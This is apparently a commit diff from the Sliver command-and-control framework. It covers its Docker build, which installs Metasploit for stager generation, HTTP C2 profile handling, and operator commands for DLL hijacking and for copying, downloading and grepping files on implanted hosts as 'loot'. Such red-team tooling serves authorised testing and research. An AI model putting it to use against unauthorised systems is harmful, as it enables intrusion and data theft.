ncurses-dev bison curl xsel postgresql \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
&& chmod 755 msfinstall \
&& ./msfinstall \
&& mkdir -p ~/.msf4/ \
&& touch ~/.msf4/initial_setup_complete
### Cleanup unneeded packages
RUN apt-get remove -y curl gnupg \
&& apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver \
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages
RUN apt-get autoremove -y \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
### Add sliver user
RUN groupadd -g 999 sliver \
&& useradd -r -u 999 -g sliver sliver \
&& mkdir -p /home/sliver/ \
&& chown -R sliver:sliver /home/sliver
### Copy compiled binary
COPY --from=base /opt/sliver-server /opt/sliver-server
### Unpack Sliver:
USER sliver
RUN /opt/sliver-server unpack --force
WORKDIR /home/sliver/
VOLUME [ "/home/sliver/.sliver" ]
ENTRYPOINT [ "/opt/sliver-server" ]
+2 -2
View File
@@ -5,7 +5,7 @@
GO ?= go
ARTIFACT_SUFFIX ?=
ENV =
TAGS ?= -tags osusergo,netgo,go_sqlite
TAGS ?= -tags go_sqlite
CGO_ENABLED = 0
ifneq (,$(findstring cgo_sqlite,$(TAGS)))
@@ -27,7 +27,7 @@ GO_VERSION = $(shell $(GO) version)
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 20
MIN_SUPPORTED_GO_MINOR_VERSION = 21
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
VERSION ?= $(shell git describe --abbrev=0)
+2 -7
View File
@@ -61,14 +61,9 @@ def docker_rm_all():
def build():
status = exec_cmd("docker build -t sliver .")
status = exec_cmd("docker build --target test .")
if status == 0:
print(
INFO
+ "Build successful, start with %sdocker run -it sliver:latest%s"
% (BOLD, NORM)
)
print(INFO + "Remember you'll need to manually forward network ports")
print("\n\n" + INFO + "Build successful")
def main(args):
+86
View File
@@ -0,0 +1,86 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig HTTPC2ServerConfig `json:"server_config"`
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
RandomVersionHeaders bool `json:"random_version_headers"`
Headers []NameValueProbability `json:"headers"`
Cookies []string `json:"cookies"`
}
type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
//
// .js = poll
//
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
+2 -2
View File
@@ -21,7 +21,7 @@ package alias
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/bishopfox/sliver/client/assets"
@@ -115,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
manifestPaths := assets.GetInstalledAliasManifests()
installedManifests := map[string]*AliasManifest{}
for _, manifestPath := range manifestPaths {
data, err := ioutil.ReadFile(manifestPath)
data, err := os.ReadFile(manifestPath)
if err != nil {
continue
}
+4 -5
View File
@@ -20,7 +20,6 @@ package alias
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -50,7 +49,7 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg
// Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
@@ -78,7 +77,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
con.PrintErrorf("Error creating alias directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -133,7 +132,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to create alias directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
@@ -166,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
err = os.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
+1 -1
View File
@@ -36,7 +36,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndex - Index JSON containing alias/extension/bundle information
+1 -1
View File
@@ -32,7 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ErrPackageNotFound - The package was not found
+1 -1
View File
@@ -33,7 +33,7 @@ import (
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/bishopfox/sliver/util/minisign"
)
// ArmoryIndexParser - Generic interface to fetch armory indexes
+437
View File
@@ -0,0 +1,437 @@
package c2profiles
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"io"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/exp/slices"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// C2ProfileCmd list available http profiles
func C2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
profileName, _ := cmd.Flags().GetString("name")
if profileName == constants.DefaultC2Profile {
httpC2Profiles, err := con.Rpc.GetHTTPC2Profiles(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("failed to fetch HTTP C2 profiles: %s", err.Error())
return
}
if len(httpC2Profiles.Configs) != 1 {
profileName = selectC2Profile(httpC2Profiles.Configs)
}
}
profile, err := con.Rpc.GetHTTPC2ProfileByName(context.Background(), &clientpb.C2ProfileReq{Name: profileName})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintC2Profiles(profile, con)
}
func ImportC2ProfileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
protocols := []string{constants.HttpStr, constants.HttpsStr}
profileName, _ := cmd.Flags().GetString("name")
if profileName == "" {
con.PrintErrorf("Invalid c2 profile name\n")
return
}
filepath, _ := cmd.Flags().GetString("file")
if filepath == "" {
con.PrintErrorf("Missing file path\n")
return
}
overwrite, _ := cmd.Flags().GetBool("overwrite")
// retrieve and unmarshal profile config
jsonFile, err := os.Open(filepath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
byteFile, _ := io.ReadAll(jsonFile)
var config *assets.HTTPC2Config = &assets.HTTPC2Config{}
err = json.Unmarshal(byteFile, config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
httpC2ConfigReq := clientpb.HTTPC2ConfigReq{Overwrite: overwrite, C2Config: C2ConfigToProtobuf(profileName, config)}
_, err = con.Rpc.SaveHTTPC2Profile(context.Background(), &httpC2ConfigReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
confirm := false
prompt := &survey.Confirm{Message: "Restart HTTP/S jobs?"}
survey.AskOne(prompt, &confirm)
if confirm {
var restartJobReq clientpb.RestartJobReq
jobs, err := con.Rpc.GetJobs(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// reload jobs to include new profile
for _, job := range jobs.Active {
if job != nil && slices.Contains(protocols, job.Name) {
restartJobReq.JobIDs = append(restartJobReq.JobIDs, job.ID)
}
}
_, err = con.Rpc.RestartJobs(context.Background(), &restartJobReq)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
// convert json to protobuf
func C2ConfigToProtobuf(profileName string, config *assets.HTTPC2Config) *clientpb.HTTPC2Config {
httpC2UrlParameters := []*clientpb.HTTPC2URLParameter{}
httpC2Headers := []*clientpb.HTTPC2Header{}
pathSegments := []*clientpb.HTTPC2PathSegment{}
// files
for _, poll := range config.ImplantConfig.PollFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.CloseFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerFiles {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: true,
SegmentType: 3,
Value: stager,
})
}
// paths
for _, poll := range config.ImplantConfig.PollPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 0,
Value: poll,
})
}
for _, session := range config.ImplantConfig.SessionPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 1,
Value: session,
})
}
for _, close := range config.ImplantConfig.ClosePaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 2,
Value: close,
})
}
for _, stager := range config.ImplantConfig.StagerPaths {
pathSegments = append(pathSegments, &clientpb.HTTPC2PathSegment{
IsFile: false,
SegmentType: 3,
Value: stager,
})
}
implantConfig := &clientpb.HTTPC2ImplantConfig{
UserAgent: config.ImplantConfig.UserAgent,
ChromeBaseVersion: int32(config.ImplantConfig.ChromeBaseVersion),
MacOSVersion: config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: httpC2UrlParameters,
Headers: httpC2Headers,
MaxFiles: int32(config.ImplantConfig.MaxFiles),
MinFiles: int32(config.ImplantConfig.MinFiles),
MaxPaths: int32(config.ImplantConfig.MaxPaths),
MinPaths: int32(config.ImplantConfig.MinFiles),
StagerFileExtension: config.ImplantConfig.StagerFileExt,
PollFileExtension: config.ImplantConfig.PollFileExt,
StartSessionFileExtension: config.ImplantConfig.StartSessionFileExt,
SessionFileExtension: config.ImplantConfig.SessionFileExt,
CloseFileExtension: config.ImplantConfig.CloseFileExt,
PathSegments: pathSegments,
}
// Server Config
serverHeaders := []*clientpb.HTTPC2Header{}
for _, serverHeader := range config.ServerConfig.Headers {
for _, method := range serverHeader.Methods {
serverHeaders = append(serverHeaders, &clientpb.HTTPC2Header{
Method: method,
Name: serverHeader.Name,
Value: serverHeader.Value,
Probability: int32(serverHeader.Probability),
})
}
}
serverCookies := []*clientpb.HTTPC2Cookie{}
for _, cookie := range config.ServerConfig.Cookies {
serverCookies = append(serverCookies, &clientpb.HTTPC2Cookie{
Name: cookie,
})
}
serverConfig := &clientpb.HTTPC2ServerConfig{
RandomVersionHeaders: config.ServerConfig.RandomVersionHeaders,
Headers: serverHeaders,
Cookies: serverCookies,
}
return &clientpb.HTTPC2Config{
Name: profileName,
ImplantConfig: implantConfig,
ServerConfig: serverConfig,
}
}
// PrintImplantBuilds - Print the implant builds on the server
func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Parameter",
"Value",
})
// Profile metadata
tw.AppendRow(table.Row{
"Profile Name",
profile.Name,
})
// Server side configuration
var serverHeaders []string
for _, header := range profile.ServerConfig.Headers {
serverHeaders = append(serverHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Server Headers",
strings.Join(serverHeaders[:], ","),
})
var serverCookies []string
for _, cookie := range profile.ServerConfig.Cookies {
serverCookies = append(serverCookies, cookie.Name)
}
tw.AppendRow(table.Row{
"Server Cookies",
strings.Join(serverCookies[:], ","),
})
tw.AppendRow(table.Row{
"Randomize Server Headers",
profile.ServerConfig.RandomVersionHeaders,
})
// Client side configuration
var clientHeaders []string
for _, header := range profile.ImplantConfig.Headers {
clientHeaders = append(clientHeaders, header.Value)
}
tw.AppendRow(table.Row{
"Client Headers",
strings.Join(clientHeaders[:], ","),
})
var clientUrlParams []string
for _, clientUrlParam := range profile.ImplantConfig.ExtraURLParameters {
clientUrlParams = append(clientUrlParams, clientUrlParam.Name)
}
tw.AppendRow(table.Row{
"Extra URL Parameters",
strings.Join(clientUrlParams[:], ","),
})
tw.AppendRow(table.Row{
"User agent",
profile.ImplantConfig.UserAgent,
})
tw.AppendRow(table.Row{
"Chrome base version",
profile.ImplantConfig.ChromeBaseVersion,
})
tw.AppendRow(table.Row{
"MacOS version",
profile.ImplantConfig.MacOSVersion,
})
tw.AppendRow(table.Row{
"Nonce query arg chars",
profile.ImplantConfig.NonceQueryArgChars,
})
tw.AppendRow(table.Row{
"Max files",
profile.ImplantConfig.MaxFiles,
})
tw.AppendRow(table.Row{
"Min files",
profile.ImplantConfig.MinFiles,
})
tw.AppendRow(table.Row{
"Max paths",
profile.ImplantConfig.MaxPaths,
})
tw.AppendRow(table.Row{
"Min paths",
profile.ImplantConfig.MinPaths,
})
tw.AppendRow(table.Row{
"Stager file extension",
profile.ImplantConfig.StagerFileExtension,
})
tw.AppendRow(table.Row{
"Start session file extension",
profile.ImplantConfig.StartSessionFileExtension,
})
tw.AppendRow(table.Row{
"Session file extension",
profile.ImplantConfig.SessionFileExtension,
})
tw.AppendRow(table.Row{
"Poll file extension",
profile.ImplantConfig.PollFileExtension,
})
tw.AppendRow(table.Row{
"Close file extension",
profile.ImplantConfig.CloseFileExtension,
})
var (
pollPaths []string
pollFiles []string
sessionPaths []string
sessionFiles []string
closePaths []string
closeFiles []string
)
for _, segment := range profile.ImplantConfig.PathSegments {
if segment.IsFile {
switch segment.SegmentType {
case 0:
pollFiles = append(pollFiles, segment.Value)
case 1:
sessionFiles = append(sessionFiles, segment.Value)
case 2:
closeFiles = append(closeFiles, segment.Value)
}
} else {
switch segment.SegmentType {
case 0:
pollPaths = append(pollPaths, segment.Value)
case 1:
sessionPaths = append(sessionPaths, segment.Value)
case 2:
closePaths = append(closePaths, segment.Value)
}
}
}
tw.AppendRow(table.Row{
"Poll paths",
strings.Join(pollPaths[:], ","),
})
tw.AppendRow(table.Row{
"Poll files",
strings.Join(pollFiles[:], ","),
})
tw.AppendRow(table.Row{
"Session paths",
strings.Join(sessionPaths[:], ","),
})
tw.AppendRow(table.Row{
"Session files",
strings.Join(sessionFiles[:], ","),
})
tw.AppendRow(table.Row{
"Close paths",
strings.Join(closePaths[:], ","),
})
tw.AppendRow(table.Row{
"Close files",
strings.Join(closeFiles[:], ","),
})
con.Println(tw.Render())
con.Println("\n")
}
func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
c2profile := ""
var choices []string
for _, c2profile := range c2profiles {
choices = append(choices, c2profile.Name)
}
prompt := &survey.Select{
Message: "Select a c2 profile",
Options: choices,
}
survey.AskOne(prompt, &c2profile, nil)
return c2profile
}
+3 -3
View File
@@ -21,7 +21,7 @@ package dllhijack
import (
"context"
"fmt"
"io/ioutil"
"os"
"github.com/spf13/cobra"
@@ -58,7 +58,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
if localReferenceFilePath != "" {
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
localRefData, err = os.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
@@ -70,7 +70,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = ioutil.ReadFile(localFile)
targetDLLData, err = os.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+3 -2
View File
@@ -56,8 +56,9 @@ func CatCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string)
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: filePath,
Request: con.ActiveTarget.Request(cmd),
RestrictedToFile: true,
Path: filePath,
})
ctrl <- true
<-ctrl
+82
View File
@@ -0,0 +1,82 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CpCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (err error) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if len(args) != 2 {
con.PrintErrorf("Please specify a source and destination filename.\n")
return
}
src := args[0]
dst := args[1]
cp, err := con.Rpc.Cp(context.Background(), &sliverpb.CpReq{
Request: con.ActiveTarget.Request(cmd),
Src: src,
Dst: dst,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
cp.Src, cp.Dst = src, dst
if cp.Response != nil && cp.Response.Async {
con.AddBeaconCallback(cp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, cp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
})
con.PrintAsyncResponse(cp.Response)
} else {
PrintCp(cp, con)
}
return
}
func PrintCp(cp *sliverpb.Cp, con *console.SliverConsoleClient) {
if cp.Response != nil && cp.Response.Err != "" {
con.PrintErrorf("%s\n", cp.Response.Err)
return
}
con.PrintInfof("Copied '%s' to '%s' (%d bytes written)\n", cp.Src, cp.Dst, cp.BytesWritten)
}
+10 -4
View File
@@ -51,9 +51,10 @@ func DownloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
Request: con.ActiveTarget.Request(cmd),
Path: remotePath,
Recurse: recurse,
RestrictedToFile: false,
})
ctrl <- true
<-ctrl
@@ -119,7 +120,12 @@ func HandleDownloadResponse(download *sliverpb.Download, cmd *cobra.Command, arg
}
remotePath := args[0]
localPath := args[1]
var localPath string
if len(args) == 1 {
localPath = "."
} else {
localPath = args[1]
}
saveLoot, _ := cmd.Flags().GetBool("loot")
if download.ReadFiles == 0 {
+304
View File
@@ -0,0 +1,304 @@
package filesystem
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/fatih/color"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const maxLinesDisplayed = 50
func processFlags(searchPattern string, insensitive bool, exact bool) string {
if !insensitive && !exact {
return searchPattern
}
var processedSearchPattern = searchPattern
flagsAtBeginning, _ := regexp.Compile(`^\(\?.*\)`)
flagsSpecifiedIndex := flagsAtBeginning.FindStringIndex(searchPattern)
if insensitive {
if flagsSpecifiedIndex != nil {
// If we matched, flagsSpecifiedIndex[0] will always be 0 (the start of the string)
flags := searchPattern[:flagsSpecifiedIndex[1]]
if !strings.Contains(flags, "i") {
processedSearchPattern = "(?i" + searchPattern[2:]
}
} else {
processedSearchPattern = "(?i)" + processedSearchPattern
}
}
// For exact matches, we will replace any start and end of line anchors with (^|\s) and (\s|$) respectively
flagsSpecifiedIndex = flagsAtBeginning.FindStringIndex(processedSearchPattern)
if exact {
var endIndexOfFlags = 0
if flagsSpecifiedIndex != nil {
endIndexOfFlags = flagsSpecifiedIndex[1]
}
if strings.HasPrefix(processedSearchPattern[endIndexOfFlags:], "^") {
processedSearchPattern = processedSearchPattern[:endIndexOfFlags] + strings.Replace(processedSearchPattern[endIndexOfFlags:], "^", `(^|\s)`, 1)
} else {
processedSearchPattern = `(^|\s)` + processedSearchPattern
}
if strings.HasSuffix(processedSearchPattern, "$") {
processedSearchPattern = processedSearchPattern[:len(processedSearchPattern)-1] + `(\s|$)`
} else {
processedSearchPattern = processedSearchPattern + `(\s|$)`
}
}
return processedSearchPattern
}
func GrepCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
searchPattern := args[0]
searchPath := args[1]
recursive, _ := cmd.Flags().GetBool("recursive")
insensitive, _ := cmd.Flags().GetBool("insensitive")
exact, _ := cmd.Flags().GetBool("exact")
searchPatternProcessed := processFlags(searchPattern, insensitive, exact)
// Sanity check the search pattern to validate that it is a valid regex
_, err := regexp.Compile(searchPattern)
if err != nil {
con.PrintErrorf("%s is not a valid regex: %s\n", searchPattern, err)
return
}
// Context overrides individual values for before and after
var linesBefore int32 = 0
var linesAfter int32 = 0
if cmd.Flags().Changed("context") {
linesBefore, _ = cmd.Flags().GetInt32("context")
linesAfter = linesBefore
} else {
linesBefore, _ = cmd.Flags().GetInt32("before")
linesAfter, _ = cmd.Flags().GetInt32("after")
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Searching for %s in %s ...", searchPattern, searchPath), ctrl)
grep, err := con.Rpc.Grep(context.Background(), &sliverpb.GrepReq{
Request: con.ActiveTarget.Request(cmd),
SearchPattern: searchPatternProcessed,
Path: searchPath,
Recursive: recursive,
LinesBefore: linesBefore,
LinesAfter: linesAfter,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if grep.Response != nil && grep.Response.Async {
con.AddBeaconCallback(grep.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, grep)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
// Using args[0] so that the operator's original input is preserved
printGrep(grep, args[0], searchPath, cmd, con)
})
con.PrintAsyncResponse(grep.Response)
} else {
printGrep(grep, args[0], searchPath, cmd, con)
}
}
// printGrep - Print the results from the grep operation to stdout
func printGrep(grep *sliverpb.Grep, searchPattern string, searchPath string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
colorize, _ := cmd.Flags().GetBool("colorize-output")
userLootFileType, _ := cmd.Flags().GetString("file-type")
currentDateTime := time.Now().Format("2006-01-02_150405")
if !cmd.Flags().Changed("lootName") {
// If the loot name has not been specified by the operator, generate one
con.GetActiveSessionConfig()
lootName = fmt.Sprintf("grep from %s on %s (%s)", searchPath, con.GetActiveSessionConfig().ID, currentDateTime)
}
if grep.Response != nil && grep.Response.Err != "" {
con.PrintErrorf("%s\n", grep.Response.Err)
return
}
grepResults, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, colorize, true)
if len(grepResults) > maxLinesDisplayed {
// If there are more than maxResultsDisplayed results, then loot the rest so that we do not overfill the console
saveLoot = true
}
var resultQualifier string
var displayLimit string
if numberOfResults == 1 {
resultQualifier = "line"
} else {
resultQualifier = "lines"
}
if len(grepResults) > maxLinesDisplayed {
displayLimit = fmt.Sprintf(" (%d displayed, including context if available)", maxLinesDisplayed)
}
con.Printf("Found %d matching %s for %s in %s%s\n\n", numberOfResults, resultQualifier, searchPattern, searchPath, displayLimit)
if len(grepResults) > maxLinesDisplayed {
con.Println(strings.Join(grepResults[:maxLinesDisplayed+1], "\n"))
} else {
con.Println(strings.Join(grepResults, "\n"))
}
if len(grepResults) > maxLinesDisplayed {
con.PrintWarnf("Number of output lines exceed %d. The full output is available in the loot file \"%s\"\n", maxLinesDisplayed, lootName)
}
if len(binaryFilesMatched) > 0 {
con.PrintInfof("The following binary files contained one or more matches that may not be reflected above:\n")
for _, fileName := range binaryFilesMatched {
con.Printf("\t%s\n", fileName)
}
}
if saveLoot {
// Do not allow escape sequences in the output when looting
grepResultsForLoot, numberOfResults, binaryFilesMatched := printGrepResults(grep.Results, false, false)
lootFileName := fmt.Sprintf("grep_%s_%s.txt", con.GetActiveSessionConfig().ID, currentDateTime)
flags := []string{}
if recursive, _ := cmd.Flags().GetBool("recursive"); recursive {
flags = append(flags, "recursive")
}
if exact, _ := cmd.Flags().GetBool("exact"); exact {
